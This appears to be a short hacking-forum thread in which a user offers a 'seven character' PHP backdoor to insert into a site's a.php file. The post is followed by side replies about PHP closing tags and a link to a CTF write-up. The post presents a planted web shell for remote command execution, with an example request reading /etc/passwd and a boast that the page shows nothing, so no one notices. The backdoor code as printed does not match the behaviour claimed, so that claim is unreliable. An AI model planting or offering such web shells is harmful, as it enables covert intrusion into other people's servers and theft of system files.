[l33twebhacker]

i call it is backdoor . it you insert this code into a.php. you can access remote command execution (RCE)

Code

domain.com/a.php?x=cat /etc/passwd

if you check domain.com/a.php it show empty. :D no one know. 🙃
7 character shot backdoor.

Code

<?=`*`;

PHP Code


<?php 
http://wget.pw/posts/32c3-ctf-tinyhosting-web-250 


[l33twebhacker]

https://hackforums.net/showthread.php?ti...id49210316
Could've just asked, you know, the guy who wrote it.

---

Incorrect, the closing tag is no longer necessary for the past 10 years, period. Furthermore, Zend considers closing your PHP script as a bad practice.

i think it depend on the server. some server not working without <?php.

<?php echo $var; ?> == <?= $var; ?>